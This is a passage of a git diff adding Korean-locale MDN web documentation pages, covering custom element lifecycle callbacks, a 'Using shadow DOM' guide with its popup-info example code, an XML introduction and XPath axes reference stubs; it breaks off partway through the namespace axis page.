+<p><strong>Note</strong>: You can see the <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-web-component/main.js">full JavaScript source</a> code here.</p>
+</div>
+
+<h3 id="Customized_built-in_elements">Customized built-in elements</h3>
+
+<p>Now let's have a look at another customized built in element example — <a href="https://github.com/mdn/web-components-examples/tree/master/expanding-list-web-component">expanding-list</a> (<a href="https://mdn.github.io/web-components-examples/expanding-list-web-component/">see it live also</a>). This turns any unordered list into an expanding/collapsing menu.</p>
+
+<p>First of all, we define our element's class, in the same manner as before:</p>
+
+<pre class="brush: js notranslate">class ExpandingList extends HTMLUListElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // write element functionality in here
+
+    ...
+  }
+}</pre>
+
+<p>We will not explain the element functionality in any detail here, but you can discover how it works by checking out the source code. The only real difference here is that our element is extending the {{domxref("HTMLUListElement")}} interface, and not {{domxref("HTMLElement")}}. So it has all the characteristics of a {{htmlelement("ul")}} element with the functionality we define built on top, rather than being a standalone element. This is what makes it a customized built-in, rather than an autonomous element.</p>
+
+<p>Next, we register the element using the <code>define()</code> method as before, except that this time it also includes an options object that details what element our custom element inherits from:</p>
+
+<pre class="brush: js notranslate">customElements.define('expanding-list', ExpandingList, { extends: "ul" });</pre>
+
+<p>Using the built-in element in a web document also looks somewhat different:</p>
+
+<pre class="brush: html notranslate">&lt;ul is="expanding-list"&gt;
+
+  ...
+
+&lt;/ul&gt;</pre>
+
+<p>You use a <code>&lt;ul&gt;</code> element as normal, but specify the name of the custom element inside the <code>is</code> attribute.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Again, you can see the full <a href="https://github.com/mdn/web-components-examples/blob/master/expanding-list-web-component/main.js">JavaScript source code</a> here.</p>
+</div>
+
+<h2 id="Using_the_lifecycle_callbacks">Using the lifecycle callbacks</h2>
+
+<p>You can define several different callbacks inside a custom element's constructor, which fire at different points in the element's lifecycle:</p>
+
+<ul>
+ <li><code>connectedCallback</code>: Invoked when the custom element is first connected to the document's DOM.</li>
+ <li><code>disconnectedCallback</code>: Invoked when the custom element is disconnected from the document's DOM.</li>
+ <li><code>adoptedCallback</code>: Invoked when the custom element is moved to a new document.</li>
+ <li><code>attributeChangedCallback</code>: Invoked when one of the custom element's attributes is added, removed, or changed.</li>
+</ul>
+
+<p>Let's look at an example of these in use. The code below is taken from the <a href="https://github.com/mdn/web-components-examples/tree/master/life-cycle-callbacks">life-cycle-callbacks</a> example (<a href="https://mdn.github.io/web-components-examples/life-cycle-callbacks/">see it running live</a>). This is a trivial example that simply generates a colored square of a fixed size on the page. The custom element looks like this:</p>
+
+<pre class="brush: html notranslate">&lt;custom-square l="100" c="red"&gt;&lt;/custom-square&gt;</pre>
+
+<p>The class constructor is really simple — here we attach a shadow DOM to the element, then attach empty {{htmlelement("div")}} and {{htmlelement("style")}} elements to the shadow root:</p>
+
+<pre class="brush: js notranslate">var shadow = this.attachShadow({mode: 'open'});
+
+var div = document.createElement('div');
+var style = document.createElement('style');
+shadow.appendChild(style);
+shadow.appendChild(div);</pre>
+
+<p>The key function in this example is <code>updateStyle()</code> — this takes an element, gets its shadow root, finds its <code>&lt;style&gt;</code> element, and adds {{cssxref("width")}}, {{cssxref("height")}}, and {{cssxref("background-color")}} to the style.</p>
+
+<pre class="brush: js notranslate">function updateStyle(elem) {
+  var shadow = elem.shadowRoot;
+  var childNodes = shadow.childNodes;
+  for(var i = 0; i &lt; childNodes.length; i++) {
+    if(childNodes[i].nodeName === 'STYLE') {
+      childNodes[i].textContent = 'div {' +
+                          ' width: ' + elem.getAttribute('l') + 'px;' +
+                          ' height: ' + elem.getAttribute('l') + 'px;' +
+                          ' background-color: ' + elem.getAttribute('c');
+    }
+  }
+}</pre>
+
+<p>The actual updates are all handled by the life cycle callbacks, which are placed inside the constructor. The <code>connectedCallback()</code> runs when the element is added to the DOM — here we run the <code>updateStyle()</code> function to make sure the square is styled as defined in its attributes:</p>
+
+<pre class="brush: js notranslate">connectedCallback() {
+  console.log('Custom square element added to page.');
+  updateStyle(this);
+}</pre>
+
+<p>the <code>disconnectedCallback()</code> and <code>adoptedCallback()</code> callbacks log simple messages to the console to inform us when the element is either removed from the DOM, or moved to a different page:</p>
+
+<pre class="brush: js notranslate">disconnectedCallback() {
+  console.log('Custom square element removed from page.');
+}
+
+adoptedCallback() {
+  console.log('Custom square element moved to new page.');
+}</pre>
+
+<p>The <code>attributeChangedCallback()</code> callback is run whenever one of the element's attributes is changed in some way. As you can see from its properties, it is possible to act on attributes individually, looking at their name, and old and new attribute values. In this case however, we are just running the <code>updateStyle()</code> function again to make sure that the square's style is updated as per the new values:</p>
+
+<pre class="brush: js notranslate">attributeChangedCallback(name, oldValue, newValue) {
+  console.log('Custom square element attributes changed.');
+  updateStyle(this);
+}</pre>
+
+<p>Note that to get the <code>attributeChangedCallback()</code> callback to fire when an attribute changes, you have to observe the attributes. This is done by calling the <code>observedAttributes()</code> getter inside the constructor, including inside it a <code>return</code> statement that returns an array containing the names of the attributes you want to observe:</p>
+
+<pre class="brush: js notranslate">static get observedAttributes() {return ['w', 'l']; }</pre>
+
+<p>This is placed right at the top of the constructor, in our example.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Find the <a href="https://github.com/mdn/web-components-examples/blob/master/life-cycle-callbacks/main.js">full JavaScript source</a> here.</p>
+</div>
diff --git a/files/ko/web/web_components/using_shadow_dom/index.html b/files/ko/web/web_components/using_shadow_dom/index.html
new file mode 100644
index 0000000000..7d82820b76
--- /dev/null
+++ b/files/ko/web/web_components/using_shadow_dom/index.html
@@ -0,0 +1,230 @@
+---
+title: Using shadow DOM
+slug: Web/Web_Components/Using_shadow_DOM
+tags:
+  - API
+  - DOM
+  - Guide
+  - Web Components
+  - shadow
+  - shadow dom
+  - 쉐도우 돔
+  - 웹 컴포넌트
+  - 웹컴포넌트
+translation_of: Web/Web_Components/Using_shadow_DOM
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">웹 컴포넌트의 중요한 측면은 캡슐화입니다. 마크업 구조, 스타일 그리고 동작을 페이지 내의 다른 코드와<br>
+ 분리하고 숨긴채로 유지하여 서로 충돌하지 않으며, 코드가 좋고 깨끗하게 되도록 하는 중요한 측면입니다.<br>
+ Shadow DOM API 는 이러한 캡슐화의 핵심이며, 숨겨지고 분리된 DOM 을 엘리먼트에 달 수 있는<br>
+ 방법입니다. 현재 문서는 Shadow DOM 의 기본적인 사용을 다루고 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Shadow DOM 은 Firefox (63 and onwards), Chrome, Opera, and Safari 에서 기본으로 지원되고 있습니다.  새로운 Chromium 기반의 Edge (75 and onwards) 또한 지원하고 있습니다. 그러나 구버전의 Edge 는 지원하지 않습니다.</p>
+</div>
+
+<h2 id="High-level_view">High-level view</h2>
+
+<p>This article assumes you are already familiar with the concept of the <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM (Document Object Model)</a> — a tree-like structure of connected nodes that represents the different elements and strings of text appearing in a markup document (usually an HTML document in the case of web documents). As an example, consider the following HTML fragment:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Simple DOM example&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+      &lt;section&gt;
+        &lt;img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."&gt;
+        &lt;p&gt;Here we will add a link to the &lt;a href="https://www.mozilla.org/"&gt;Mozilla homepage&lt;/a&gt;&lt;/p&gt;
+      &lt;/section&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>This fragment produces the following DOM structure:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14559/dom-screenshot.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p><em>Shadow</em> DOM allows hidden DOM trees to be attached to elements in the regular DOM tree — this shadow DOM tree starts with a shadow root, underneath which can be attached to any elements you want, in the same way as the normal DOM.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15788/shadow-dom.png" style="height: 543px; width: 1138px;"></p>
+
+<p>There are some bits of shadow DOM terminology to be aware of:</p>
+
+<ul>
+ <li><strong>Shadow host</strong>: The regular DOM node that the shadow DOM is attached to.</li>
+ <li><strong>Shadow tree</strong>: The DOM tree inside the shadow DOM.</li>
+ <li><strong>Shadow boundary</strong>: the place where the shadow DOM ends, and the regular DOM begins.</li>
+ <li><strong>Shadow root</strong>: The root node of the shadow tree.</li>
+</ul>
+
+<p>You can affect the nodes in the shadow DOM in exactly the same way as non-shadow nodes — for example appending children or setting attributes, styling individual nodes using element.style.foo, or adding style to the entire shadow DOM tree inside a {{htmlelement("style")}} element. The difference is that none of the code inside a shadow DOM can affect anything outside it, allowing for handy encapsulation.</p>
+
+<p>Note that the shadow DOM is not a new thing by any means — browsers have used it for a long time to encapsulate the inner structure of an element. Think for example of a {{htmlelement("video")}} element, with the default browser controls exposed. All you see in the DOM is the <code>&lt;video&gt;</code> element, but it contains a series of buttons and other controls inside its shadow DOM. The shadow DOM spec has made it so that you are allowed to actually manipulate the shadow DOM of your own custom elements.</p>
+
+<h2 id="Basic_usage">Basic usage</h2>
+
+<p>You can attach a shadow root to any element using the {{domxref("Element.attachShadow()")}} method. This takes as its parameter an options object that contains one option — <code>mode</code> — with a value of <code>open</code> or <code>closed</code>:</p>
+
+<pre class="brush: js notranslate">let shadow = elementRef.attachShadow({mode: 'open'});
+let shadow = elementRef.attachShadow({mode: 'closed'});</pre>
+
+<p><code>open</code> means that you can access the shadow DOM using JavaScript written in the main page context, for example using the {{domxref("Element.shadowRoot")}} property:</p>
+
+<pre class="brush: js notranslate">let myShadowDom = myCustomElem.shadowRoot;</pre>
+
+<p>If you attach a shadow root to a custom element with <code>mode: closed</code> set, you won't be able to access the shadow DOM from the outside — <code>myCustomElem.shadowRoot</code> returns <code>null</code>. This is the case with built in elements that contain shadow DOMs, such as <code>&lt;video&gt;</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As <a href="https://blog.revillweb.com/open-vs-closed-shadow-dom-9f3d7427d1af">this blog post shows</a>, it is actually fairly easy to work around closed shadow DOMs, and the hassle to completely hide them is often more than it's worth.</p>
+</div>
+
+<p>If you are attaching a shadow DOM to a custom element as part of its constructor (by far the most useful application of the shadow DOM), you would use something like this:</p>
+
+<pre class="brush: js notranslate">let shadow = this.attachShadow({mode: 'open'});</pre>
+
+<p>When you've attached a shadow DOM to an element, manipulating it is a matter of just using the same DOM APIs as you use for the regular DOM manipulation:</p>
+
+<pre class="brush: js notranslate">var para = document.createElement('p');
+shadow.appendChild(para);
+// etc.</pre>
+
+<h2 id="Working_through_a_simple_example">Working through a simple example</h2>
+
+<p>Now let's walk through a simple example to demonstrate the shadow DOM in action inside a custom element — <code><a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a></code> (see a <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">live example</a> also). This takes an image icon and a text string, and embeds the icon into the page. When the icon is focused, it displays the text in a pop up information box to provide further in-context information. To begin with, in our JavaScript file we define a class called <code>PopUpInfo</code>, which extends <code>HTMLElement</code>:</p>
+
+<pre class="brush: js notranslate">class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // write element functionality in here
+
+    ...
+  }
+}</pre>
+
+<p>Inside the class definition we define the element's constructor, which defines all the functionality the element will have when an instance of it is instantiated.</p>
+
+<h3 id="Creating_the_shadow_root">Creating the shadow root</h3>
+
+<p>We first attach a shadow root to the custom element:</p>
+
+<pre class="brush: js notranslate">// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});</pre>
+
+<h3 class="brush: js" id="Creating_the_shadow_DOM_structure">Creating the shadow DOM structure</h3>
+
+<p class="brush: js">Next, we use some DOM manipulation to create the element's internal shadow DOM structure:</p>
+
+<pre class="brush: js notranslate">// Create spans
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Take attribute content and put it inside the info span
+var text = this.getAttribute('text');
+info.textContent = text;
+
+// Insert icon
+var imgUrl;
+if(this.hasAttribute('img')) {
+  imgUrl = this.getAttribute('img');
+} else {
+  imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+</pre>
+
+<h3 class="brush: js" id="Styling_the_shadow_DOM">Styling the shadow DOM</h3>
+
+<p class="brush: js">After that we create a {{htmlelement("style")}} element and populate it with some CSS to style it:</p>
+
+<pre class="brush: js notranslate">// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+
+style.textContent = `
+.wrapper {
+  position: relative;
+}
+
+.info {
+  font-size: 0.8rem;
+  width: 200px;
+  display: inline-block;
+  border: 1px solid black;
+  padding: 10px;
+  background: white;
+  border-radius: 10px;
+  opacity: 0;
+  transition: 0.6s all;
+  position: absolute;
+  bottom: 20px;
+  left: 10px;
+  z-index: 3;
+}
+
+img {
+  width: 1.2rem;
+}
+
+.icon:hover + .info, .icon:focus + .info {
+  opacity: 1;
+}`;
+
+</pre>
+
+<h3 id="Attaching_the_shadow_DOM_to_the_shadow_root">Attaching the shadow DOM to the shadow root</h3>
+
+<p>The final step is to attach all the created elements to the shadow root:</p>
+
+<pre class="brush: js notranslate">// attach the created elements to the shadow dom
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<h3 id="Using_our_custom_element">Using our custom element</h3>
+
+<p>Once the class is defined, using the element is as simple as defining it, and putting it on the page, as explained in <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a>:</p>
+
+<pre class="brush: js notranslate">// Define the new element
+customElements.define('popup-info', PopUpInfo);</pre>
+
+<pre class="brush: html notranslate">&lt;<span class="pl-ent">popup-info</span> <span class="pl-e">img</span>=<span class="pl-s"><span class="pl-pds">"</span>img/alt.png<span class="pl-pds">"</span></span> <span class="pl-e">text</span>=<span class="pl-s"><span class="pl-pds">"</span>Your card validation code (CVC) is an extra
+                                    security feature — it is the last 3 or 4
+                                    numbers on the back of your card.<span class="pl-pds">"</span></span>&gt;</pre>
+
+<div>
+<h3 id="Internal_versus_external_styles">Internal versus external styles</h3>
+
+<p>In the above example we apply style to the Shadow DOM using a {{htmlelement("style")}} element, but it is perfectly possible to do it by referencing an external stylesheet from a {{htmlelement("link")}} element instead.</p>
+
+<p>For example, take a look at this code from our <a href="https://mdn.github.io/web-components-examples/popup-info-box-external-stylesheet/">popup-info-box-external-stylesheet</a> example (see the <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-external-stylesheet/main.js">source code</a>):</p>
+
+<pre class="brush: js notranslate">// Apply external styles to the shadow dom
+const linkElem = document.createElement('link');
+linkElem.setAttribute('rel', 'stylesheet');
+linkElem.setAttribute('href', 'style.css');
+
+// Attach the created element to the shadow dom
+shadow.appendChild(linkElem);</pre>
+
+<p>Note that {{htmlelement("link")}} elements do not block paint of the shadow root, so there may be a flash of unstyled content (FOUC) while the stylesheet loads.</p>
+
+<p>Many modern browsers implement an optimization for {{htmlelement("style")}} tags either cloned from a common node or that have identical text, to allow them to share a single backing stylesheet. With this optimization the performance of external and internal styles should be similar.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a></li>
+ <li><a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/xml/index.html b/files/ko/web/xml/index.html
new file mode 100644
index 0000000000..64baefe8fb
--- /dev/null
+++ b/files/ko/web/xml/index.html
@@ -0,0 +1,17 @@
+---
+title: 'XML: Extensible Markup Language'
+slug: Web/XML
+tags:
+  - Draft
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+  - XML
+translation_of: Web/XML
+---
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/XML")}}{{Draft}}</p>
+
+<p class="summary"><strong>확장가능한 마크업 언어(XML)는</strong> 엄격하게 직렬화 된 DOM(돔 오브젝트 모델)입니다.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/web/xml/xml_introduction/index.html b/files/ko/web/xml/xml_introduction/index.html
new file mode 100644
index 0000000000..a1a549be14
--- /dev/null
+++ b/files/ko/web/xml/xml_introduction/index.html
@@ -0,0 +1,33 @@
+---
+title: XML Introduction
+slug: Web/XML/XML_Introduction
+tags:
+  - XML
+translation_of: Web/XML/XML_introduction
+---
+<h3 id="XML.EC.9D.B4.EB.9E.80.3F" name="XML.EC.9D.B4.EB.9E.80.3F">XML이란?</h3>
+<p>XML은 <b>Extensible Markup Language</b>을 뜻하며, <a class="external" href="http://www.w3.org/">W3C 권고</a> 범용 마크업 언어다. XML은 SGML의 부분집합이다.</p>
+<p>많은 언어가 XML을 기반으로 한다; 예로 <a href="ko/XHTML">XHTML</a>, <a href="ko/MathML">MathML</a>, <a href="ko/SVG">SVG</a>, <a href="ko/XUL">XUL</a>, <a href="ko/RSS">RSS</a>, 그리고 <a href="ko/RDF">RDF</a> 는 모두 XML기반이다.</p>
+<h3 id=".EC.99.9C_HTML_.EC.9D.B4_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EB.8F.99.EC.9E.91.ED.95.98.EC.A7.80_.EC.95.8A.EB.8A.94.EA.B0.80" name=".EC.99.9C_HTML_.EC.9D.B4_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EB.8F.99.EC.9E.91.ED.95.98.EC.A7.80_.EC.95.8A.EB.8A.94.EA.B0.80">왜 HTML 이 제대로 동작하지 않는가</h3>
+<p>HTML 마크업은 오로지 표시 목적으로 설계된 고정된 언어이고, 반면 XML은 사용자 정의이고 데이터 내용을 정의할 때 사용된다.</p>
+<p>HTML은 세 영역으로 제한된다: 지능, 유지보수, 그리고 적용. XML은 강력하다 지능, 적용, 유지보수, 그리고 간결성.</p>
+<p>XML은 HTML과 다르지만, <a class="external" href="http://developer.mozilla.org/docs/XSLT">XSLT</a>과 함께하면 함께 사용할 수 있다 .</p>
+<h3 id=".22.EB.B0.94.EB.A5.B8.22_XML" name=".22.EB.B0.94.EB.A5.B8.22_XML">"바른" XML</h3>
+<p>XML 문서가 바르기 위해 well-formed 문서여야 하며, 모든 XML의 문법 규칙을 지켜야 한다. Mozilla를 포함한 대부분의 브라우저는 poorly-formed XML 문서를 식별할 수 있는 디버거를 제공한다 .</p>
+<h3 id="XML_.ED.91.9C.EC.8B.9C" name="XML_.ED.91.9C.EC.8B.9C">XML 표시</h3>
+<p>XML이 presentation을 도울 수 있는 두 가지 방법이 있어, HTML을 변환하여 PDF 또는 image code를 만드는 것으로부터 다양한 표현방법에 적용한다.</p>
+<p>스타일을 사용하는 한 방법은 XML 페이지가 <code>xml-stylesheet</code> 선언을 가진 CSS를 사용하는 것이다 .</p>
+<pre>&lt;?xml-stylesheet type="text/css" href="stylesheet.css"?&gt;</pre>
+<p>XML 마크업을 다른 형식으로 변환할 수 있는 강력한 XSLT와 결합하여, XML은 믿을 수 없을 정도로 다재다능하다.</p>
+<pre>&lt;?xml-stylesheet type="text/xsl" href="transform.xsl"?&gt;</pre>
+<h3 id=".EA.B6.8C.EA.B3.A0" name=".EA.B6.8C.EA.B3.A0">권고</h3>
+<p>이 글은 XML이 무엇인가에 대한 짧은 소개일 뿐이다 ; XML에 대한 좀 더 자세한 것을 위해서는 좀더 깊이 있는 글을 웹에서 찾아보아야 할 것이다.</p>
+<p>HTML 마크업 언어를 배우는 것은 XML을 잘 이해하는 데 도움이 될 것이다. 더 많은 정보를 위해 Mozilla Developer Center를 여행해야 할 것입니다.</p>
+<div class="originaldocinfo">
+ <h3 id=".EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">문서 정보</h3>
+ <ul>
+  <li>저자: Justin G. Shreve</li>
+  <li>최종 변경일: 5월 19일</li>
+ </ul>
+</div>
+<p>{{ languages( { "en": "en/XML_Introduction", "fr": "fr/Introduction_\u00e0_XML", "pl": "pl/Wprowadzenie_do_XMLa" } ) }}</p>
diff --git a/files/ko/web/xpath/axes/ancestor-or-self/index.html b/files/ko/web/xpath/axes/ancestor-or-self/index.html
new file mode 100644
index 0000000000..64b0c2f190
--- /dev/null
+++ b/files/ko/web/xpath/axes/ancestor-or-self/index.html
@@ -0,0 +1,7 @@
+---
+title: ancestor-or-self
+slug: Web/XPath/Axes/ancestor-or-self
+translation_of: Web/XPath/Axes/ancestor-or-self
+---
+<p><code>ancestor-or-self</code> 축은 문맥 노드와 루트 노드를 포함하는 문맥 노드의 조상 모두를 나타냅니다.</p>
+<p> </p>
diff --git a/files/ko/web/xpath/axes/ancestor/index.html b/files/ko/web/xpath/axes/ancestor/index.html
new file mode 100644
index 0000000000..b7bc4ac0c4
--- /dev/null
+++ b/files/ko/web/xpath/axes/ancestor/index.html
@@ -0,0 +1,7 @@
+---
+title: ancestor
+slug: Web/XPath/Axes/ancestor
+translation_of: Web/XPath/Axes/ancestor
+---
+<p><code>ancestor</code> 축은 부모 노드부터 시작하여 루트 노드까지 항해하는 문맥 노드의 모든 조상을 나타냅니다.</p>
+<p> </p>
diff --git a/files/ko/web/xpath/axes/attribute/index.html b/files/ko/web/xpath/axes/attribute/index.html
new file mode 100644
index 0000000000..309f584fed
--- /dev/null
+++ b/files/ko/web/xpath/axes/attribute/index.html
@@ -0,0 +1,6 @@
+---
+title: attribute
+slug: Web/XPath/Axes/attribute
+translation_of: Web/XPath/Axes/attribute
+---
+<p><code>attribute</code> 축은 문맥 노드의 속성을 나타냅니다. 오직 요소만 속성이 있습니다. 이 축은 at sign(@)으로 줄여 쓸 수 있습니다.</p>
diff --git a/files/ko/web/xpath/axes/child/index.html b/files/ko/web/xpath/axes/child/index.html
new file mode 100644
index 0000000000..4480500450
--- /dev/null
+++ b/files/ko/web/xpath/axes/child/index.html
@@ -0,0 +1,6 @@
+---
+title: child
+slug: Web/XPath/Axes/child
+translation_of: Web/XPath/Axes/child
+---
+<p><code>child</code> 축은 문맥 노드의 자식을 나타냅니다. XPath 식이 축을 지정하지 않으면, <code>child</code> 축은 기본값으로 이해합니다. 오직 루트 노드나 요소 노드만 자식이 있기 때문에, 다른 경우에는 아무것도 선택하지 않습니다.</p>
diff --git a/files/ko/web/xpath/axes/descendant-or-self/index.html b/files/ko/web/xpath/axes/descendant-or-self/index.html
new file mode 100644
index 0000000000..1f5d73ceba
--- /dev/null
+++ b/files/ko/web/xpath/axes/descendant-or-self/index.html
@@ -0,0 +1,6 @@
+---
+title: descendant-or-self
+slug: Web/XPath/Axes/descendant-or-self
+translation_of: Web/XPath/Axes/descendant-or-self
+---
+<p><code>descendant-or-self</code> 축은 문맥 노드와 문맥 노드의 모든 자손을 나타냅니다. 속성과 이름공간 노드는 포함하지 않습니다. 속성 노드의 parent 축이 요소 노드이지만 속성 노드는 그 부모의 자식이 아닙니다.</p>
diff --git a/files/ko/web/xpath/axes/descendant/index.html b/files/ko/web/xpath/axes/descendant/index.html
new file mode 100644
index 0000000000..b15d4e7f6d
--- /dev/null
+++ b/files/ko/web/xpath/axes/descendant/index.html
@@ -0,0 +1,6 @@
+---
+title: descendant
+slug: Web/XPath/Axes/descendant
+translation_of: Web/XPath/Axes/descendant
+---
+<p><code>descendant</code> 축은 문맥 노드의 모든 자식과 자식의 자식 따위를 나타냅니다. 속성과 이름공간 노드는 포함하지 않습니다. 속성 노드의 parent 축이 요소 노드이지만 속성 노드는 그 부모의 자식이 아닙니다.</p>
diff --git a/files/ko/web/xpath/axes/following-sibling/index.html b/files/ko/web/xpath/axes/following-sibling/index.html
new file mode 100644
index 0000000000..f6d2896ffc
--- /dev/null
+++ b/files/ko/web/xpath/axes/following-sibling/index.html
@@ -0,0 +1,6 @@
+---
+title: following-sibling
+slug: Web/XPath/Axes/following-sibling
+translation_of: Web/XPath/Axes/following-sibling
+---
+<p><code>following-sibling</code> 축은 문맥 노드와 부모가 같고 소스 문서에서 문맥 노드 다음에 보이는 모든 노드를 나타냅니다.</p>
diff --git a/files/ko/web/xpath/axes/following/index.html b/files/ko/web/xpath/axes/following/index.html
new file mode 100644
index 0000000000..eeccb55425
--- /dev/null
+++ b/files/ko/web/xpath/axes/following/index.html
@@ -0,0 +1,6 @@
+---
+title: following
+slug: Web/XPath/Axes/following
+translation_of: Web/XPath/Axes/following
+---
+<p><code>following</code> 축은 자손, 속성, 이름공간 노드를 제외한 문맥 노드 다음에 나오는 모든 노드를 나타냅니다.</p>
diff --git a/files/ko/web/xpath/axes/index.html b/files/ko/web/xpath/axes/index.html
new file mode 100644
index 0000000000..77fc7630b2
--- /dev/null
+++ b/files/ko/web/xpath/axes/index.html
@@ -0,0 +1,70 @@
+---
+title: Axes
+slug: Web/XPath/Axes
+tags:
+  - XPath
+  - XPath_Reference
+  - XSLT_Reference
+translation_of: Web/XPath/Axes
+---
+<p>{{ XsltRef() }} <a href="ko/XPath">XPath</a> 명세에는 축이 13가지가 있습니다. 축은 문맥 노드와의 관계를 나타내고 트리 위에 문맥 노드에 대응하여 노드를 위치시킬 때 씁니다. 다음은 이용가능한 축 13가지와 <a href="ko/Gecko">Gecko</a>에서 가능한 지원 정도에 대한 매우 짧은 설명입니다.</p>
+<p>XPath 식 사용에 관한 추가 정보는, <a href="ko/Transforming_XML_with_XSLT">Transforming XML with XSLT</a> 문서 끝 <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading">For Further Reading</a> 절을 보세요.</p>
+<p> </p>
+<dl>
+ <dt>
+  <a href="ko/XPath/Axes/ancestor">ancestor</a></dt>
+ <dd>
+  부모 노드부터 시작하여 루트 노드까지 항해하는 문맥 노드의 모든 조상을 나타냅니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/ancestor-or-self">ancestor-or-self</a></dt>
+ <dd>
+  문맥 노드와 루트 노드를 포함하는 문맥 노드의 조상 모두를 나타냅니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/attribute">attribute</a></dt>
+ <dd>
+  문맥 노드의 속성을 나타냅니다. 오직 요소만 속성이 있습니다. 이 축은 at sign(<code>@</code>)으로 줄여 쓸 수 있습니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/child">child</a></dt>
+ <dd>
+  문맥 노드의 자식을 나타냅니다. XPath 식이 축을 지정하지 않으면 기본값으로 이해합니다. 오직 루트 노드나 요소 노드만 자식이 있기 때문에, 다른 경우에는 아무것도 선택하지 않습니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/descendant">descendant</a></dt>
+ <dd>
+  문맥 노드의 모든 자식과 자식의 자식 따위를 나타냅니다. 속성과 이름공간 노드는 포함하지 <b>않습니다</b>. <code>속성</code> 노드의 <code>parent</code> 축이 요소 노드이지만 <code>속성</code> 노드는 그 부모의 자식이 아닙니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/descendant-or-self">descendant-or-self</a></dt>
+ <dd>
+  문맥 노드와 문맥 노드의 모든 자손을 나타냅니다. 속성과 이름공간 노드는 포함하지 <b>않습니다</b>. <code>속성</code> 노드의 <code>parent</code> 축이 요소 노드이지만 <code>속성</code> 노드는 그 부모의 자식이 아닙니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/following">following</a></dt>
+ <dd>
+  <code>자손</code>, <code>속성</code>, <code>이름공간</code> 노드를 제외한 문맥 노드 다음에 나오는 모든 노드를 나타냅니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/following-sibling">following-sibling</a></dt>
+ <dd>
+  문맥 노드와 부모가 같고 소스 문서에서 문맥 노드 다음에 보이는 모든 노드를 나타냅니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/namespace">namespace</a>
+  <i>
+   (지원 안 함)</i>
+ </dt>
+ <dd>
+  문맥 노드 범위(scope) 안에 있는 모든 노드를 나타냅니다. 이 경우에, 문맥 노드는 요소 노드이어야 합니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/parent">parent</a></dt>
+ <dd>
+  문맥 노드의 부모 노드만을 나타냅니다. 마침표 둘(<code>..</code>)로 줄여 쓸 수 있습니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/preceding">preceding</a></dt>
+ <dd>
+  <code>조상</code>, <code>속성</code>, <code>이름공간</code> 노드를 제외한 문서 안에서 문맥 노드를 앞선 모든 노드를 나타냅니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/preceding-sibling">preceding-sibling</a></dt>
+ <dd>
+  문맥 노드와 부모가 같고 소스 문서에서 문맥 노드 앞에 나오는 모든 노드를 나타냅니다.</dd>
+ <dt>
+  <a href="ko/XPath/Axes/self">self</a></dt>
+ <dd>
+  문맥 노드 자신를 나타냅니다. 마침표 하나(<code>.</code>)로 줄여 쓸 수 있습니다.</dd>
+</dl>
+<p>{{ languages( { "en": "en/XPath/Axes", "pl": "pl/XPath/Osie" } ) }}</p>
diff --git a/files/ko/web/xpath/axes/namespace/index.html b/files/ko/web/xpath/axes/namespace/index.html
new file mode 100644
index 0000000000..fb0b9fff79
--- /dev/null
+++ b/files/ko/web/xpath/axes/namespace/index.html
@@ -0,0 +1,10 @@
+---
+title: namespace
+slug: Web/XPath/Axes/namespace
+translation_of: Web/XPath/Axes/namespace
+---
+<p>
+ <i>
